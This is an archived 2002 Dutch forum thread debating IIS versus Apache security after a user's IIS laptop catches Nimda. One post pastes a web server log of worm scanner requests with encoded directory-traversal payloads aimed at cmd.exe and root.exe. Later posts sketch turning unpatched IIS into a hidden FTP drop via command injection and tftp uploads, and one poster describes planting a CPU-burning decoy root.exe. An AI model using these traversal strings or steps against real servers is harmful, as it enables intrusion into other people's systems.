Nooit meer IIS

[ddkiller0900]

Ik heb IIS op laptop staan was vandaag ff emails aant nakijke op gewone computer, merk ik dat ik emails heb gehad van mijn laptop
FF virusscan gedaan blijkt dat mijn hele directory van IIS op laptop vol Nimda virussen zit
Dus, dit is mijn tweede keer dat ik het zeg, ik gebruik nooit meer IIS, kga nog liever over op php zodat ik apache kan gebruiken. Tenminste nog nooit problemen mee gehad.

[Zwelgje]

sorry hoor maar dat probleem ligt niet aan IIS maar aan de gebruiker/systeembeheerder welke gewoon laks werk verricht met het patchen van zijn systemen

[ddkiller0900]

kheb nu wel weer een virus na zoveel tijd, met apache had ik dit NOOIT

[Verwijderd]

Ik gebruik (ook) Windows XP + Apache 1.3.26 + MySQL 3.23.49 + PHP 4.2.1. Geen problemen mee, hoewel 't natuurlijk beter is om een LAMP-constructie te maken...maja...boeiend. Dit werkt perfect. Enige lek zat 'm in MySQL, maar die poort zit ondertussen ook dicht.

[Verwijderd]

ddkiller0900 schreef op 21 augustus 2002 @ 21:01:
kheb nu wel weer een virus na zoveel tijd, met apache had ik dit NOOIT

Dat doet niks af aan bovenstaand bericht...

[Zwelgje]

ddkiller0900 schreef op 21 augustus 2002 @ 21:01:
kheb nu wel weer een virus na zoveel tijd, met apache had ik dit NOOIT

apache heeft ook zo zijn veiligheidslekken alleen zijn deze wat 'moeilijker bereikbaar' voor de scriptkiddies onder ons..

onlangs had apache nog een heel groot lek...

[Predator]

zwelgje schreef op 21 augustus 2002 @ 21:00:
sorry hoor maar dat probleem ligt niet aan IIS maar aan de gebruiker/systeembeheerder welke gewoon laks werk verricht met het patchen van zijn systemen

indd, Nimda is al eeuwen gefixed.

Als je met redhat 5.2 met oude wu-ftpd & IMAP daemon gaat inet'n en je wordt geroot, is linux dan verschrikkelijk lek

Nee, dan ben jij een slecht beheerder.

[Verwijderd]

Predator schreef op 21 augustus 2002 @ 21:10:

[...]

indd, Nimda is al eeuwen gefixed.

Als je met redhat 5.2 met oude wu-ftpd & IMAP daemon gaat inet'n en je wordt geroot, is linux dan verschrikkelijk lek

Nee, dan ben jij een slecht beheerder.

redhat?

[bolke]

zwelgje schreef op 21 augustus 2002 @ 21:00:
sorry hoor maar dat probleem ligt niet aan IIS maar aan de gebruiker/systeembeheerder welke gewoon laks werk verricht met het patchen van zijn systemen

Ach... ddkiller0900 is een van de velen. Heeft iets over IIS gehoord installeerd het en kijkt er niet meer naar om.

Dat doe je met je auto ook. Je koopt het gooit er af en toe benzine in en als het dan stuk gaat ik het een klote auto.

[airwalker_nl]

Wat dacht je dan van deze grapjas die dacht dat ik ook IIS had:

code:

213.46.220.126 - - [14/Aug/2002:18:32:31 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
213.46.220.126 - - [14/Aug/2002:18:32:32 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
213.46.220.126 - - [14/Aug/2002:18:32:32 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
213.46.220.126 - - [14/Aug/2002:18:32:33 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
213.46.220.126 - - [14/Aug/2002:18:32:41 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
213.46.220.126 - - [14/Aug/2002:18:32:43 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
213.46.220.126 - - [14/Aug/2002:18:32:45 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
213.46.220.126 - - [14/Aug/2002:18:32:49 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
213.46.220.126 - - [14/Aug/2002:18:32:56 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [14/Aug/2002:18:32:59 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [14/Aug/2002:18:33:00 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [14/Aug/2002:18:33:07 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [14/Aug/2002:18:33:13 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.46.220.126 - - [14/Aug/2002:18:33:18 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.46.220.126 - - [14/Aug/2002:18:33:18 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
213.46.220.126 - - [14/Aug/2002:18:33:19 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
213.46.220.126 - - [15/Aug/2002:09:17:49 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
213.46.220.126 - - [15/Aug/2002:09:17:49 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
213.46.220.126 - - [15/Aug/2002:09:17:50 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
213.46.220.126 - - [15/Aug/2002:09:17:50 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
213.46.220.126 - - [15/Aug/2002:09:17:54 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
213.46.220.126 - - [15/Aug/2002:09:17:57 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
213.46.220.126 - - [15/Aug/2002:09:18:15 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
213.46.220.126 - - [15/Aug/2002:09:18:16 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
213.46.220.126 - - [15/Aug/2002:09:18:16 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [15/Aug/2002:09:18:19 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [15/Aug/2002:09:18:20 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [15/Aug/2002:09:18:20 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
213.46.220.126 - - [15/Aug/2002:09:18:20 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.46.220.126 - - [15/Aug/2002:09:18:20 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
213.46.220.126 - - [15/Aug/2002:09:18:30 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
213.46.220.126 - - [15/Aug/2002:09:18:36 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232

[The Source]

Dat is gewoon een scanner die probeert of een exploit werkt. Als dit in je apache logfile staat is er niets aan de hand.

En mocht je IIS ofzo op je laptop of desktop draaien voor wat testwerk, zorg dat je m uitschakelt als je die niet nodig hebt!!!!! Door soort onervarenheid / laksheid worden heel wat sysadmins gek door al die vollopende logfiles met nimda attacks van kabel gebruikers

[Crazy D]

Wees dan een echte nerd en ga lekker linux draaien. Dat jij niet capabel bent om een IIS te draaien die niet door iedereen die een muis kan bedienen, te "h4x0r3n" is, is niet de schuld van IIS. (hoewel ik het meteen met je eens bent dat IIS wel wat veiliger had gekunt).

En waarom heb je IIS draaien als je ook met apache afkunt? Om php te draaien? Dan ben je imho toch al niet zo slim om IIS te gebruiken, zit je thuis te ontwikkelen op IIS terwijl het bij zo'n beetje iedere provider op Apache draait. Doe dat dan thuis ook gewoon, dan ben je iig in dezelfde omgeving aan het ontwikkelen. Of is het om statische html te draaien? Dan is imho zowel IIS als Apache een overkill. Kijk in dat geval eens naar tinyweb, die kun je ook tenminste draaien als je nauwelijks geheugen hebt (progje gebruikt net 1mb ram op mijn p100 met nt en 64mb).

Oh die logfiles heb ik ook. Ik heb maar een scripts dir aangemaakt en een root.exe erin gezet (progje van mezelf die in een never ending zwaar processor belastende loop terecht komt). En die is al behoorlijk vaak gedownload (kheb ook /c/winnt/system32/cmd.exe staan, zelfde progje ).

[McMiGHtY]

Evil Crazy_D

[Verwijderd]

Profiel topicstarter:

Beroep Student
Opleiding Informatica

En je hebt nog nooit ergens gehoord/gelezen/vernomen dat er patches voor IIS zijn om Nimda, Code Red en hackers tegen te gaan?

Stap dan a.u.b. maar ook niet over op Apache want ook daar zijn weleens (minder vaak, maar goed ) problemen mee:

nieuws: Lek in Apache-software toch exploiteerbaar

[Crazy D]

McMiGHtY schreef op 22 augustus 2002 @ 10:44:
Evil Crazy_D

Ja nou tis toch zo. Al die mensen die zeiken dat IIS zo lek is als een mandje, terwijl ze zelf nadat ze m ooit geinstalleerd hebben, er niet meer naar om hebben gekeken. Ik ben geen totale IIS expert, maar ik kan 'm wel zo opzetten dat ie dusdanig veilig is dat de bekende bugs gefixed zijn en dus ook geen kans meer maken. En verder heeft MS ook nog de IIS lockdown tool staan waarmee je 'm behoorlijk kan dichttimmeren. Alleen helaas heeft MS het zo makkelijk gemaakt dat iedereen die een muis kan bedienen, ook IIS kan draaien. (en de kracht van MS is welliswaar de eenvoud en het gebruiksgemak van dingen, maar een IIS is een professioneel iets, een boekhoudpakket laat je ook niet inrichten door iemand die niet veel verder komt dat "Debiteuren 100 Aan Bank 100").
Ik vind dat net zoiets als roepen dat Volkswagen kut is omdat ie niet meer rijdt als de tank leeg is....

[edit]
Oh of bedoelde je soms mijn root.exe ? tjah nou ja als je dus toevallig opeens merkt dat je machine 100% cpu gebruikt terwijl jij net al je progjes had afgesloten, weet je waar het door komt

[DRaakje]

mischien dat je ook bepaalde folders hebt geshared... Op die manier had ik op een bepaald moment ook het nimda virus binnengekregen...

[Tux]

airwalker_nl schreef op 21 augustus 2002 @ 21:26:
Wat dacht je dan van deze grapjas die dacht dat ik ook IIS had:

code:

213.46.220.126 - - [14/Aug/2002:18:32:31 +0200]
 "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
213.46.220.126 - - [14/Aug/2002:18:32:32 +0200] 
"GET /MSADC/root.exe?/c+dir 
enz...

AARGH... das precies dezelfde grapjas die ook dacht dat ik IIS had

[dôh]

Het hacken van een IIS server is zo verschrikkelijk simpel... binnen 5 minuten heb je een zogenaamde 'pubstro' gemaakt. Wat je dan heb is een ftp waar de sysadmin niks van afweet. Dan kan je erop upload en ervan downloaden wat je wilt... as easy as that

[Verwijderd]

Bl@de schreef op 22 augustus 2002 @ 12:26:
Het hacken van een IIS server is zo verschrikkelijk simpel... binnen 5 minuten heb je een zogenaamde 'pubstro' gemaakt. Wat je dan heb is een ftp waar de sysadmin niks van afweet. Dan kan je erop upload en ervan downloaden wat je wilt... as easy as that

Ben benieuwd hoe je dat doet als iemand geen FTP server draait met IIS.

[IceStorm]

Bl@de schreef op 22 augustus 2002 @ 12:26:
Het hacken van een IIS server is zo verschrikkelijk simpel... binnen 5 minuten heb je een zogenaamde 'pubstro' gemaakt. Wat je dan heb is een ftp waar de sysadmin niks van afweet. Dan kan je erop upload en ervan downloaden wat je wilt... as easy as that

Ik mis ergens het woord 'niet gepatched' (ok 2 woorden ).

[Wimlem]

Verwijderd schreef op 22 augustus 2002 @ 12:31:
[...]


Ben benieuwd hoe je dat doet als iemand geen FTP server draait met IIS.

nou .. Gewoon een serv-u ofzow installere

[ddkiller0900]

En waarom heb je IIS draaien als je ook met apache afkunt? Om php te draaien? Dan ben je imho toch al niet zo slim om IIS te gebruiken, zit je thuis te ontwikkelen op IIS terwijl het bij zo'n beetje iedere provider op Apache draait. Doe dat dan thuis ook gewoon, dan ben je iig in dezelfde omgeving aan het ontwikkelen. Of is het om statische html te draaien? Dan is imho zowel IIS als Apache een overkill. Kijk in dat geval eens naar tinyweb, die kun je ook tenminste draaien als je nauwelijks geheugen hebt (progje gebruikt net 1mb ram op mijn p100 met nt en 64mb).

Ik weet ook wel dat ik het had moeten beveiligen maar omdat laptop niet op internet stond aangesloten dacht ik wel dat het geen kwaad kon, totdat ik per ongeluk op internet kwam gisteren dus, toen was het te laat . Maarre , ik heb het wel over ASP en geen PHP eh.Ik heb ASP nog niet met apache aan de praat gekregen anders had ik dat wel gebruikt hoor. En geheugen, bwa, 448 MB ram is dat genoeg?

[Crazy D]

ddkiller0900 schreef op 22 augustus 2002 @ 13:45:
Ik weet ook wel dat ik het had moeten beveiligen maar omdat laptop niet op internet stond aangesloten dacht ik wel dat het geen kwaad kon, totdat ik per ongeluk op internet kwam gisteren dus, toen was het te laat .

Naja wijze les dus Zorg altijd voor een up to date machine, ook als je niet het web opgaat ('m ergens in een netwerk prikken kan ook al voldoende zijn, zoals een collega ontdekte ).

Maarre , ik heb het wel over ASP en geen PHP eh.Ik heb ASP nog niet met apache aan de praat gekregen anders had ik dat wel gebruikt hoor. En geheugen, bwa, 448 MB ram is dat genoeg?

Je had het helemaal niet over asp Nergens asp te vinden in deze thread (tot jouw message nu dan...) Mhah ok asp dat moet wel onder IIS (naja kan wel onder Apache maar das dan ook weer zo'n halve oplossing, the right tool for the job is als je aan het asp'en gaat gewoon een gepatchte IIS (en/of ervoor zorgen dat ie iig niet automatisch start, maar je m ff handmatig moet starten als je echt gaat asp'en (mjah als je dan online bent heb je nog steeds hetzelfde probleem). En daarnaast is het sowieso wel handig om m te patchen en zo strak mogelijk te beveiligen, al is het maar om de situatie op de echte server na te bootsen (in de meest ideale situatie is je config volledig gelijk, maar dat lukt niet altijd...).

En ja 448Mb moet wel voldoende zijn denk ik (maar dan nog, voor statische html ruled tinyweb dan nog steeds ).

[Verwijderd]

Kan iemand mij helpen met IIS ik krijg ik moet steeds een netwerk wachtwoord op geven als ik via een werkstation een pagina wil bekijken

[Crazy D]

Verwijderd schreef op 22 augustus 2002 @ 14:33:
Kan iemand mij helpen met IIS ik krijg ik moet steeds een netwerk wachtwoord op geven als ik via een werkstation een pagina wil bekijken

Properties -> tabje Directory Security -> anonumous access aanzetten

[Verwijderd]

Verwijderd schreef op 22 augustus 2002 @ 12:31:
[...]


Ben benieuwd hoe je dat doet als iemand geen FTP server draait met IIS.

niet zo heel moeilijk..
Je zorgt ervoor dat je de zogenaamde scripts regels ( zo noem ik ze altijd) intikt en dat je via tftp de files upload..Serv-u enz enz.. Deze files heb je op je eigen pc ff ingesteld en users aangemaakt..Je upload de bestanden dus en binnen 5 min kun je ze gaan executen..
Viola je hebt een ''pubstro'' kijk maar op Google onder IIS injection

[Verwijderd]

zwelgje schreef op 21 August 2002 @ 21:09:
[...]


apache heeft ook zo zijn veiligheidslekken alleen zijn deze wat 'moeilijker bereikbaar' voor de scriptkiddies onder ons..

onlangs had apache nog een heel groot lek...

idd, en daar hoef je geen script kiddie voor te zijn, mysql heeft ook zat lekken, dan nog iis en webdav enz enz.. zo kun je nog jaren doorgaan..zolang als er MS bestaat dan is het slecht

[intoxicated]

En met dit allesbehalve vernieuwende inzicht moest je deze draad een jaar omhoog trappen? Ik vind het een klein beetje overdreven.